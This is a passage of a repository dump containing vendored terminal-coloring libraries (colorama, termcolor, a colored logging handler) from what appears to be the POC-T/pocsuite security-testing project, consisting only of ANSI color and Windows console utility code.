| } 33 | else: 34 | level_map = { 35 | logging.DEBUG: (None, 'blue', False), 36 | logging.INFO: (None, 'green', False), 37 | logging.WARNING: (None, 'yellow', False), 38 | logging.ERROR: (None, 'red', False), 39 | logging.CRITICAL: ('red', 'white', False) 40 | } 41 | csi = '\x1b[' 42 | reset = '\x1b[0m' 43 | disable_coloring = False 44 | 45 | @property 46 | def is_tty(self): 47 | isatty = getattr(self.stream, 'isatty', None) 48 | return isatty and isatty() and not self.disable_coloring 49 | 50 | def emit(self, record): 51 | try: 52 | message = stdoutencode(self.format(record)) 53 | stream = self.stream 54 | 55 | if not self.is_tty: 56 | if message and message[0] == "\r": 57 | message = message[1:] 58 | stream.write(message) 59 | else: 60 | self.output_colorized(message) 61 | stream.write(getattr(self, 'terminator', '\n')) 62 | 63 | self.flush() 64 | except (KeyboardInterrupt, SystemExit): 65 | raise 66 | except IOError: 67 | pass 68 | except Exception: 69 | self.handleError(record) 70 | 71 | if os.name != 'nt': 72 | def output_colorized(self, message): 73 | self.stream.write(message) 74 | else: 75 | ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m') 76 | 77 | nt_color_map = { 78 | 0: 0x00, # black 79 | 1: 0x04, # red 80 | 2: 0x02, # green 81 | 3: 0x06, # yellow 82 | 4: 0x01, # blue 83 | 5: 0x05, # magenta 84 | 6: 0x03, # cyan 85 | 7: 0x07, # white 86 | } 87 | 88 | def output_colorized(self, message): 89 | import ctypes 90 | 91 | parts = self.ansi_esc.split(message) 92 | write = self.stream.write 93 | h = None 94 | fd = getattr(self.stream, 'fileno', None) 95 | 96 | if fd is not None: 97 | fd = fd() 98 | 99 | if fd in (1, 2): # stdout or stderr 100 | h = ctypes.windll.kernel32.GetStdHandle(-10 - fd) 101 | 102 | while parts: 103 | text = parts.pop(0) 104 | 105 | if text: 106 | write(text) 107 | 108 | if parts: 109 | params = parts.pop(0) 110 | 111 | if h is not None: 112 | params = [int(p) for p in params.split(';')] 113 | color = 0 114 | 115 | for p in params: 116 | if 40 <= p <= 47: 117 | color |= self.nt_color_map[p - 40] << 4 118 | elif 30 <= p <= 37: 119 | color |= self.nt_color_map[p - 30] 120 | elif p == 1: 121 | color |= 0x08 # foreground intensity on 122 | elif p == 0: # reset to default color 123 | color = 0x07 124 | else: 125 | pass # error condition ignored 126 | 127 | ctypes.windll.kernel32.SetConsoleTextAttribute(h, color) 128 | 129 | def colorize(self, message, record): 130 | if record.levelno in self.level_map and self.is_tty: 131 | bg, fg, bold = self.level_map[record.levelno] 132 | params = [] 133 | 134 | if bg in self.color_map: 135 | params.append(str(self.color_map[bg] + 40)) 136 | 137 | if fg in self.color_map: 138 | params.append(str(self.color_map[fg] + 30)) 139 | 140 | if bold: 141 | params.append('1') 142 | 143 | if params and message: 144 | if message.lstrip() != message: 145 | prefix = re.search(r"\s+", message).group(0) 146 | message = message[len(prefix):] 147 | else: 148 | prefix = "" 149 | 150 | message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), 151 | 'm', message, self.reset))) 152 | 153 | return message 154 | 155 | def format(self, record): 156 | message = logging.StreamHandler.format(self, record) 157 | return self.colorize(message, record) 158 | -------------------------------------------------------------------------------- /thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /thirdparty/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | 2 | import re 3 | import sys 4 | 5 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 6 | from .winterm import WinTerm, WinColor, WinStyle 7 | from .win32 import windll 8 | 9 | 10 | if windll is not None: 11 | winterm = WinTerm() 12 | 13 | 14 | def is_a_tty(stream): 15 | return hasattr(stream, 'isatty') and stream.isatty() 16 | 17 | 18 | class StreamWrapper(object): 19 | ''' 20 | Wraps a stream (such as stdout), acting as a transparent proxy for all 21 | attribute access apart from method 'write()', which is delegated to our 22 | Converter instance. 23 | ''' 24 | def __init__(self, wrapped, converter): 25 | # double-underscore everything to prevent clashes with names of 26 | # attributes on the wrapped stream object. 27 | self.__wrapped = wrapped 28 | self.__convertor = converter 29 | 30 | def __getattr__(self, name): 31 | return getattr(self.__wrapped, name) 32 | 33 | def write(self, text): 34 | self.__convertor.write(text) 35 | 36 | 37 | class AnsiToWin32(object): 38 | ''' 39 | Implements a 'write()' method which, on Windows, will strip ANSI character 40 | sequences from the text, and if outputting to a tty, will convert them into 41 | win32 function calls. 42 | ''' 43 | ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') 44 | 45 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 46 | # The wrapped stream (normally sys.stdout or sys.stderr) 47 | self.wrapped = wrapped 48 | 49 | # should we reset colors to defaults after every .write() 50 | self.autoreset = autoreset 51 | 52 | # create the proxy wrapping our output stream 53 | self.stream = StreamWrapper(wrapped, self) 54 | 55 | on_windows = sys.platform.startswith('win') 56 | 57 | # should we strip ANSI sequences from our output? 58 | if strip is None: 59 | strip = on_windows 60 | self.strip = strip 61 | 62 | # should we should convert ANSI sequences into win32 calls? 63 | if convert is None: 64 | convert = on_windows and is_a_tty(wrapped) 65 | self.convert = convert 66 | 67 | # dict of ansi codes to win32 functions and parameters 68 | self.win32_calls = self.get_win32_calls() 69 | 70 | # are we wrapping stderr? 71 | self.on_stderr = self.wrapped is sys.stderr 72 | 73 | 74 | def should_wrap(self): 75 | ''' 76 | True if this class is actually needed. If false, then the output 77 | stream will not be affected, nor will win32 calls be issued, so 78 | wrapping stdout is not actually required. This will generally be 79 | False on non-Windows platforms, unless optional functionality like 80 | autoreset has been requested using kwargs to init() 81 | ''' 82 | return self.convert or self.strip or self.autoreset 83 | 84 | 85 | def get_win32_calls(self): 86 | if self.convert and winterm: 87 | return { 88 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 89 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 90 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 91 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 92 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 93 | AnsiFore.RED: (winterm.fore, WinColor.RED), 94 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 95 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 96 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 97 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 98 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 99 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 100 | AnsiFore.RESET: (winterm.fore, ), 101 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 102 | AnsiBack.RED: (winterm.back, WinColor.RED), 103 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 104 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 105 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 106 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 107 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 108 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 109 | AnsiBack.RESET: (winterm.back, ), 110 | } 111 | 112 | 113 | def write(self, text): 114 | if self.strip or self.convert: 115 | self.write_and_convert(text) 116 | else: 117 | self.wrapped.write(text) 118 | self.wrapped.flush() 119 | if self.autoreset: 120 | self.reset_all() 121 | 122 | 123 | def reset_all(self): 124 | if self.convert: 125 | self.call_win32('m', (0,)) 126 | elif is_a_tty(self.wrapped): 127 | self.wrapped.write(Style.RESET_ALL) 128 | 129 | 130 | def write_and_convert(self, text): 131 | ''' 132 | Write the given text to our wrapped stream, stripping any ANSI 133 | sequences from the text, and optionally converting them into win32 134 | calls. 135 | ''' 136 | cursor = 0 137 | for match in self.ANSI_RE.finditer(text): 138 | start, end = match.span() 139 | self.write_plain_text(text, cursor, start) 140 | self.convert_ansi(*match.groups()) 141 | cursor = end 142 | self.write_plain_text(text, cursor, len(text)) 143 | 144 | 145 | def write_plain_text(self, text, start, end): 146 | if start < end: 147 | self.wrapped.write(text[start:end]) 148 | self.wrapped.flush() 149 | 150 | 151 | def convert_ansi(self, paramstring, command): 152 | if self.convert: 153 | params = self.extract_params(paramstring) 154 | self.call_win32(command, params) 155 | 156 | 157 | def extract_params(self, paramstring): 158 | def split(paramstring): 159 | for p in paramstring.split(';'): 160 | if p != '': 161 | yield int(p) 162 | return tuple(split(paramstring)) 163 | 164 | 165 | def call_win32(self, command, params): 166 | if params == []: 167 | params = [0] 168 | if command == 'm': 169 | for param in params: 170 | if param in self.win32_calls: 171 | func_args = self.win32_calls[param] 172 | func = func_args[0] 173 | args = func_args[1:] 174 | kwargs = dict(on_stderr=self.on_stderr) 175 | func(*args, **kwargs) 176 | elif command in ('H', 'f'): # set cursor position 177 | func = winterm.set_cursor_position 178 | func(params, on_stderr=self.on_stderr) 179 | elif command in ('J'): 180 | func = winterm.erase_data 181 | func(params, on_stderr=self.on_stderr) 182 | elif command == 'A': 183 | if params == () or params == None: 184 | num_rows = 1 185 | else: 186 | num_rows = params[0] 187 | func = winterm.cursor_up 188 | func(num_rows, on_stderr=self.on_stderr) 189 | 190 | -------------------------------------------------------------------------------- /thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /thirdparty/colorama/win32.py: -------------------------------------------------------------------------------- 1 | 2 | # from winbase.h 3 | STDOUT = -11 4 | STDERR = -12 5 | 6 | try: 7 | from ctypes import windll 8 | except ImportError: 9 | windll = None 10 | SetConsoleTextAttribute = lambda *_: None 11 | else: 12 | from ctypes import ( 13 | byref, Structure, c_char, c_short, c_uint32, c_ushort 14 | ) 15 | 16 | handles = { 17 | STDOUT: windll.kernel32.GetStdHandle(STDOUT), 18 | STDERR: windll.kernel32.GetStdHandle(STDERR), 19 | } 20 | 21 | SHORT = c_short 22 | WORD = c_ushort 23 | DWORD = c_uint32 24 | TCHAR = c_char 25 | 26 | class COORD(Structure): 27 | """struct in wincon.h""" 28 | _fields_ = [ 29 | ('X', SHORT), 30 | ('Y', SHORT), 31 | ] 32 | 33 | class SMALL_RECT(Structure): 34 | """struct in wincon.h.""" 35 | _fields_ = [ 36 | ("Left", SHORT), 37 | ("Top", SHORT), 38 | ("Right", SHORT), 39 | ("Bottom", SHORT), 40 | ] 41 | 42 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 43 | """struct in wincon.h.""" 44 | _fields_ = [ 45 | ("dwSize", COORD), 46 | ("dwCursorPosition", COORD), 47 | ("wAttributes", WORD), 48 | ("srWindow", SMALL_RECT), 49 | ("dwMaximumWindowSize", COORD), 50 | ] 51 | def __str__(self): 52 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 53 | self.dwSize.Y, self.dwSize.X 54 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 55 | , self.wAttributes 56 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 57 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 58 | ) 59 | 60 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 61 | handle = handles[stream_id] 62 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 63 | success = windll.kernel32.GetConsoleScreenBufferInfo( 64 | handle, byref(csbi)) 65 | return csbi 66 | 67 | 68 | def SetConsoleTextAttribute(stream_id, attrs): 69 | handle = handles[stream_id] 70 | return windll.kernel32.SetConsoleTextAttribute(handle, attrs) 71 | 72 | 73 | def SetConsoleCursorPosition(stream_id, position): 74 | position = COORD(*position) 75 | # If the position is out of range, do nothing. 76 | if position.Y <= 0 or position.X <= 0: 77 | return 78 | # Adjust for Windows' SetConsoleCursorPosition: 79 | # 1. being 0-based, while ANSI is 1-based. 80 | # 2. expecting (x,y), while ANSI uses (y,x). 81 | adjusted_position = COORD(position.Y - 1, position.X - 1) 82 | # Adjust for viewport's scroll position 83 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 84 | adjusted_position.Y += sr.Top 85 | adjusted_position.X += sr.Left 86 | # Resume normal processing 87 | handle = handles[stream_id] 88 | return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) 89 | 90 | def FillConsoleOutputCharacter(stream_id, char, length, start): 91 | handle = handles[stream_id] 92 | char = TCHAR(char) 93 | length = DWORD(length) 94 | num_written = DWORD(0) 95 | # Note that this is hard-coded for ANSI (vs wide) bytes. 96 | success = windll.kernel32.FillConsoleOutputCharacterA( 97 | handle, char, length, start, byref(num_written)) 98 | return num_written.value 99 | 100 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 101 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 102 | handle = handles[stream_id] 103 | attribute = WORD(attr) 104 | length = DWORD(length) 105 | num_written = DWORD(0) 106 | # Note that this is hard-coded for ANSI (vs wide) bytes. 107 | return windll.kernel32.FillConsoleOutputAttribute( 108 | handle, attribute, length, start, byref(num_written)) 109 | 110 | -------------------------------------------------------------------------------- /thirdparty/colorama/winterm.py: -------------------------------------------------------------------------------- 1 | 2 | from . import win32 3 | 4 | 5 | # from wincon.h 6 | class WinColor(object): 7 | BLACK = 0 8 | BLUE = 1 9 | GREEN = 2 10 | CYAN = 3 11 | RED = 4 12 | MAGENTA = 5 13 | YELLOW = 6 14 | GREY = 7 15 | 16 | # from wincon.h 17 | class WinStyle(object): 18 | NORMAL = 0x00 # dim text, dim background 19 | BRIGHT = 0x08 # bright text, dim background 20 | 21 | 22 | class WinTerm(object): 23 | 24 | def __init__(self): 25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes 26 | self.set_attrs(self._default) 27 | self._default_fore = self._fore 28 | self._default_back = self._back 29 | self._default_style = self._style 30 | 31 | def get_attrs(self): 32 | return self._fore + self._back * 16 + self._style 33 | 34 | def set_attrs(self, value): 35 | self._fore = value & 7 36 | self._back = (value >> 4) & 7 37 | self._style = value & WinStyle.BRIGHT 38 | 39 | def reset_all(self, on_stderr=None): 40 | self.set_attrs(self._default) 41 | self.set_console(attrs=self._default) 42 | 43 | def fore(self, fore=None, on_stderr=False): 44 | if fore is None: 45 | fore = self._default_fore 46 | self._fore = fore 47 | self.set_console(on_stderr=on_stderr) 48 | 49 | def back(self, back=None, on_stderr=False): 50 | if back is None: 51 | back = self._default_back 52 | self._back = back 53 | self.set_console(on_stderr=on_stderr) 54 | 55 | def style(self, style=None, on_stderr=False): 56 | if style is None: 57 | style = self._default_style 58 | self._style = style 59 | self.set_console(on_stderr=on_stderr) 60 | 61 | def set_console(self, attrs=None, on_stderr=False): 62 | if attrs is None: 63 | attrs = self.get_attrs() 64 | handle = win32.STDOUT 65 | if on_stderr: 66 | handle = win32.STDERR 67 | win32.SetConsoleTextAttribute(handle, attrs) 68 | 69 | def get_position(self, handle): 70 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition 71 | # Because Windows coordinates are 0-based, 72 | # and win32.SetConsoleCursorPosition expects 1-based. 73 | position.X += 1 74 | position.Y += 1 75 | return position 76 | 77 | def set_cursor_position(self, position=None, on_stderr=False): 78 | if position is None: 79 | #I'm not currently tracking the position, so there is no default. 80 | #position = self.get_position() 81 | return 82 | handle = win32.STDOUT 83 | if on_stderr: 84 | handle = win32.STDERR 85 | win32.SetConsoleCursorPosition(handle, position) 86 | 87 | def cursor_up(self, num_rows=0, on_stderr=False): 88 | if num_rows == 0: 89 | return 90 | handle = win32.STDOUT 91 | if on_stderr: 92 | handle = win32.STDERR 93 | position = self.get_position(handle) 94 | adjusted_position = (position.Y - num_rows, position.X) 95 | self.set_cursor_position(adjusted_position, on_stderr) 96 | 97 | def erase_data(self, mode=0, on_stderr=False): 98 | # 0 (or None) should clear from the cursor to the end of the screen. 99 | # 1 should clear from the cursor to the beginning of the screen. 100 | # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) 101 | # 102 | # At the moment, I only support mode 2. From looking at the API, it 103 | # should be possible to calculate a different number of bytes to clear, 104 | # and to do so relative to the cursor position. 105 | if mode[0] not in (2,): 106 | return 107 | handle = win32.STDOUT 108 | if on_stderr: 109 | handle = win32.STDERR 110 | # here's where we'll home the cursor 111 | coord_screen = win32.COORD(0,0) 112 | csbi = win32.GetConsoleScreenBufferInfo(handle) 113 | # get the number of character cells in the current buffer 114 | dw_con_size = csbi.dwSize.X * csbi.dwSize.Y 115 | # fill the entire screen with blanks 116 | win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen) 117 | # now set the buffer's attributes accordingly 118 | win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); 119 | # put the cursor at (0, 0) 120 | win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y)) 121 | -------------------------------------------------------------------------------- /thirdparty/prettytable/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/termcolor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # author = i@cdxy.me 4 | # project = https://github.com/Xyntax/POC-T -------------------------------------------------------------------------------- /thirdparty/termcolor/termcolor.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | # Copyright (c) 2008-2011 Volvox Development Team 3 | # 4 | # Permission is hereby granted, free of charge, to any person obtaining a copy 5 | # of this software and associated documentation files (the "Software"), to deal 6 | # in the Software without restriction, including without limitation the rights 7 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | # copies of the Software, and to permit persons to whom the Software is 9 | # furnished to do so, subject to the following conditions: 10 | # 11 | # The above copyright notice and this permission notice shall be included in 12 | # all copies or substantial portions of the Software. 13 | # 14 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | # THE SOFTWARE. 21 | # 22 | # Author: Konstantin Lepa 23 | 24 | """ANSII Color formatting for output in terminal.""" 25 | 26 | from __future__ import print_function 27 | import os 28 | 29 | 30 | __ALL__ = [ 'colored', 'cprint' ] 31 | 32 | VERSION = (1, 1, 0) 33 | 34 | ATTRIBUTES = dict( 35 | list(zip([ 36 | 'bold', 37 | 'dark', 38 | '', 39 | 'underline', 40 | 'blink', 41 | '', 42 | 'reverse', 43 | 'concealed' 44 | ], 45 | list(range(1, 9)) 46 | )) 47 | ) 48 | del ATTRIBUTES[''] 49 | 50 | 51 | HIGHLIGHTS = dict( 52 | list(zip([ 53 | 'on_grey', 54 | 'on_red', 55 | 'on_green', 56 | 'on_yellow', 57 | 'on_blue', 58 | 'on_magenta', 59 | 'on_cyan', 60 | 'on_white' 61 | ], 62 | list(range(40, 48)) 63 | )) 64 | ) 65 | 66 | 67 | COLORS = dict( 68 | list(zip([ 69 | 'grey', 70 | 'red', 71 | 'green', 72 | 'yellow', 73 | 'blue', 74 | 'magenta', 75 | 'cyan', 76 | 'white', 77 | ], 78 | list(range(30, 38)) 79 | )) 80 | ) 81 | 82 | 83 | RESET = '\033[0m' 84 | 85 | 86 | def colored(text, color=None, on_color=None, attrs=None): 87 | """Colorize text. 88 | 89 | Available text colors: 90 | red, green, yellow, blue, magenta, cyan, white. 91 | 92 | Available text highlights: 93 | on_red, on_green, on_yellow, on_blue, on_magenta, on_cyan, on_white. 94 | 95 | Available attributes: 96 | bold, dark, underline, blink, reverse, concealed. 97 | 98 | Example: 99 | colored('Hello, World!', 'red', 'on_grey', ['blue', 'blink']) 100 | colored('Hello, World!', 'green') 101 | """ 102 | if os.getenv('ANSI_COLORS_DISABLED') is None: 103 | fmt_str = '\033[%dm%s' 104 | if color is not None: 105 | text = fmt_str % (COLORS[color], text) 106 | 107 | if on_color is not None: 108 | text = fmt_str % (HIGHLIGHTS[on_color], text) 109 | 110 | if attrs is not None: 111 | for attr in attrs: 112 | text = fmt_str % (ATTRIBUTES[attr], text) 113 | 114 | text += RESET 115 | return text 116 | 117 | 118 | def cprint(text, color=None, on_color=None, attrs=None, **kwargs): 119 | """Print colorize text. 120 | 121 | It accepts arguments of print function. 122 | """ 123 | 124 | print((colored(text, color, on_color, attrs)), **kwargs) 125 | 126 | 127 | if __name__ == '__main__': 128 | print('Current terminal type: %s' % os.getenv('TERM')) 129 | print('Test basic colors:') 130 | cprint('Grey color', 'grey') 131 | cprint('Red color', 'red') 132 | cprint('Green color', 'green') 133 | cprint('Yellow color', 'yellow') 134 | cprint('Blue color', 'blue') 135 | cprint('Magenta color', 'magenta') 136 | cprint('Cyan color', 'cyan') 137 | cprint('White color', 'white') 138 | print(('-' * 78)) 139 | 140 | print('Test highlights:') 141 | cprint('On grey color', on_color='on_grey') 142 | cprint('On red color', on_color='on_red') 143 | cprint('On green color', on_color='on_green') 144 | cprint('On yellow color', on_color='on_yellow') 145 | cprint('On blue color', on_color='on_blue') 146 | cprint('On magenta color', on_color='on_magenta') 147 | cprint('On cyan color', on_color='on_cyan') 148 | cprint('On white color', color='grey', on_color='on_white') 149 | print('-' * 78) 150 | 151 | print('Test attributes:') 152 | cprint('Bold grey color', 'grey', attrs=['bold']) 153 | cprint('Dark red color', 'red', attrs=['dark']) 154 | cprint('Underline green color', 'green', attrs=['underline']) 155 | cprint('Blink yellow color', 'yellow', attrs=['blink']) 156 | cprint('Reversed blue color', 'blue', attrs=['reverse']) 157 | cprint('Concealed Magenta color', 'magenta', attrs=['concealed']) 158 | cprint('Bold underline reverse cyan color', 'cyan', 159 | attrs=['bold', 'underline', 'reverse']) 160 | cprint('Dark blink concealed white color', 'white', 161 | attrs=['dark', 'blink', 'concealed']) 162 | print(('-' * 78)) 163 | 164 | print('Test mixing:') 165 | cprint('Underline red on grey color', 'red', 'on_grey', 166 | ['underline']) 167 | cprint('Reversed green on red color', 'green', 'on_red', ['reverse']) 168 | 169 | --------------------------------------------------------------------------------